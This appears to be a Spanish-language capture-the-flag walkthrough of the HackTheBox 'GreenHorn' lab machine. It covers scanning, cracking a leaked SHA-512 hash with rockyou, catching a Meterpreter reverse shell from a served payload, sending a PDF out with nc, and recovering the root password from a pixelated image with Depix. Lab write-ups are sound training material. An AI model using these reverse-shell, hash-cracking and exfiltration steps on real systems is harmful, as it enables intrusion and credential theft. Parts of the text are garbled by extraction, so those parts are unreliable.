Greenhorn

nmap

```
nmap -sC -sV 10.10.11.25
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 20:12 CEST
Nmap scan report for greenhorn.htb (10.10.11.25)
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (reset)
       STATE SERVICE VERSION
PORT
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
   PHPSESSID:
     httponly flag not set
|_http-generator: pluck 4.7.18
| http-title: Welcome to GreenHorn! - GreenHorn
Requested resource was <a href="http://greenhorn.htb/?file=welcome-to-greenhorn">http://greenhorn.htb/?file=welcome-to-greenhorn</a>
| http-trane-info: Problem with XML parsing of /evox/about
http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 2 disallowed entries
_/data/ /docs/
3000/tcp open ppp?
| fingerprint-strings:
  GenericLines, Help, RTSPRequest:
   HTTP/1.1 400 Bad Request
   Content-Type: text/plain; charset=utf-8
   Connection: close
   Request
  GetRequest:
   HTTP/1.0 200 OK
   Cache-Control: max-age=0, private, must-revalidate, no-transform
   Content-Type: text/html; charset=utf-8
   Set-Cookie: i_like_gitea=3e638d204e1213d8; Path=/; HttpOnly; SameSite=Lax
   Set-Cookie: _csrf=hdGkN6pE0Ma_HMOx5d0i0eP9Zx46MTcyNTA0MTYzOTk3MTcxMDkyMA; Path=/; Max-Age=86400;
HttpOnly; SameSite=Lax
   X-Frame-Options: SAMEORIGIN
   Date: Fri, 30 Aug 2024 18:13:59 GMT
   <!DOCTYPE html>
   <html lang="en-US" class="theme-auto">
   <head>
   <meta name="viewport" content="width=device-width, initial-scale=1">
   <title>GreenHorn</title>
   <link rel="manifest" href="data:application/</pre>
json;base64,eyJuYW1IIjoiR3JIZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCl6Imh0dHA6Ly9ncmVI-
bmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVIbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ItZy9s-
b2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRi-
OiMwMDAvYX
  HTTPOptions:
   HTTP/1.0 405 Method Not Allowed
   Allow: HEAD
   Allow: HEAD
   Allow: HEAD
   Cache-Control: max-age=0, private, must-revalidate, no-transform
   Set-Cookie: i like gitea=cef05af42ef222b0; Path=/; HttpOnly; SameSite=Lax
   Set-Cookie: csrf=cpy-gm65JasR-fX0CC-6BHUyM1A6MTcyNTA0MTY0NTYyNDc1MDMwNg; Path=/; Max-Age=86400;
HttpOnly; SameSite=Lax
   X-Frame-Options: SAMEORIGIN
   Date: Fri, 30 Aug 2024 18:14:05 GMT
   Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following
fingerprint at <a href="https://nma">https://nma</a>
```

#Si nos dirigimos a http://greenhorn.htb:3000/GreenAdmin/GreenHorn/src/branch/main/data/settings/pass.php veremos la pass.

#Deciframos el hash.

hashcat -m 1700 hash.txt --wordlist /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting

POCL_DEBUG) - Platform #1 [The pocl project]

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO,

* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 2 digests; 2 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1

Optimizers applied:

- * Zero-Byte
- * Early-Skip
- * Not-Salted
- * Not-Iterated
- * Single-Salt
- * Raw-Hash
- * Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.

Pure kernels can crack longer passwords, but drastically reduce performance.

If you want to switch to optimized kernels, append -O to your commandline.

See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.

Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache built:

* Filename..: /usr/share/wordlists/rockyou.txt

* Passwords.: 14344392 * Bytes....: 139921507 * Keyspace..: 14344385 * Runtime...: 1 sec

d5443 a ef1 b 64544 f 3685 b f 112 f 6c 405218 c 573 c 7279 a 831 b 1 f e 9612 e 3a4d 770486743 c 5580556 c 0 d 838 b 51749 d e 15530 f 87 f b 793 a f d c c 689 b 6 b 39024 d 7790163 : ilove you 1

Approaching final keyspace - workload adjusted.

Session.....: hashcat Status....: Exhausted

Hash.Mode.....: 1700 (SHA2-512)

Hash.Target.....: hash.txt

Time.Started.....: Fri Aug 30 20:06:33 2024 (4 secs) Time.Estimated...: Fri Aug 30 20:06:37 2024 (0 secs)

Kernel.Feature...: Pure Kernel

Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)

Guess.Queue.....: 1/1 (100.00%)

Speed.#1.......: 3406.6 kH/s (0.49ms) @ Accel:512 Loops:1 Thr:1 Vec:4 Recovered......: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)

Progress.....: 14344385/14344385 (100.00%)

Rejected......: 0/14344385 (0.00%)

Restore.Point...: 14344385/14344385 (100.00%)

Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1

Candidate.Engine.: Device Generator

Candidates.#1...: \$HEX[216361726f6c796e] -> \$HEX[042a0337c2a156616d6f732103]

Started: Fri Aug 30 20:06:29 2024 Stopped: Fri Aug 30 20:06:38 2024

#Tenemos la contraseña:

 $pass \rightarrow iloveyou1$

priv_escalation

#Activamos el pruerto 80. sudo python3 -m http.server 80 [sudo] password for alle: Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.11.25 - - [30/Aug/2024 20:37:05] "GET/payload.bin HTTP/1.1" 200 -#Con ele payload en la máquina vícitma, obtenemos un shell. msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse tcp payload => linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 10.10.14.174 LHOST = > 10.10.14.174msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.174:4444 [*] Sending stage (1017704 bytes) to 10.10.11.25 [*] Meterpreter session 1 opened (10.10.14.174:4444 -> 10.10.11.25:52874) at 2024-08-30 20:41:49 +0200 meterpreter > shell Process 54684 created. Channel 1 created. whoami www-data python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@greenhorn:/var/tmp\$ pwd pwd /var/tmp www-data@greenhorn:/var/tmp\$ whoami whoami www-data www-data@greenhorn:/var/tmp\$ su junior su junior Password: iloveyou1 junior@greenhorn:/var/tmp\$ cat /home/junior/user.txt cat /home/junior/user.txt 456f01e6b3d059a435fd74de8fd02cae junior@greenhorn:/var/tmp\$ #Ya tenemos la primera flag. #Vemos otro ficho, nos los descargaremos con nc. 1º Ejecutamos nc en localhost: nc -lvp 1234 > 'Using OpenVAS.pdf' listening on [any] 1234 ... connect to [10.10.14.174] from greenhorn.htb [10.10.11.25] 40608 2º Ejecutamos nc en la máquina atacante. nc 10.10.14.174 1234 < 'Using OpenVAS.pdf' #Descargamos el fichero 'OpenVAS.pdf' #Luego cambiamos el pdf por una imagen.

#Con la herramienta depix quitamos el blurr de la imagen.
python3 depix.py -p /home/alle/Desktop/machines/GreenHorn/openvas21-000.ppm -s /home/alle/Desktop/machines/
GreenHorn/Depix/images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o /home/alle/
Desktop/machines/GreenHorn/out.png

pdfimages Using\ OpenVAS.pdf openvas21

-rw-r--r- 1 alle alle 18914 Sep 1 19:25 openvas21-000.ppm

```
openvas21-000.ppm
2024-09-01 19:37:33,176 - Loading search image from /home/alle/Desktop/machines/GreenHorn/Depix/images/
searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2024-09-01 19:37:33,898 - Finding color rectangles from pixelated space
2024-09-01 19:37:33,900 - Found 252 same color rectangles
2024-09-01 19:37:33,900 - 190 rectangles left after moot filter
2024-09-01 19:37:33,900 - Found 1 different rectangle sizes
2024-09-01 19:37:33,900 - Finding matches in search image
2024-09-01 19:37:33,900 - Scanning 190 blocks with size (5, 5)
2024-09-01 19:37:33,932 - Scanning in searchImage: 0/1674
2024-09-01 19:38:26,917 - Removing blocks with no matches
2024-09-01 19:38:26,917 - Splitting single matches and multiple matches
2024-09-01 19:38:26,921 - [16 straight matches | 174 multiple matches]
2024-09-01 19:38:26,921 - Trying geometrical matches on single-match squares
2024-09-01 19:38:27,269 - [29 straight matches | 161 multiple matches]
2024-09-01 19:38:27,270 - Trying another pass on geometrical matches
2024-09-01 19:38:27,572 - [41 straight matches | 149 multiple matches]
2024-09-01 19:38:27,572 - Writing single match results to output
```

#Hacemos un feh del out.png y obtenemos la contraseña. sidefromsidetheothersidesidefromsidetheotherside

2024-09-01 19:38:27,573 - Writing average results for multiple matches to output

2024-09-01 19:38:31,109 - Saving output image to: /home/alle/Desktop/machines/GreenHorn/out.png

#Ya somos root.

su root

Password: sidefromsidetheothersidesidefromsidetheotherside

whoami root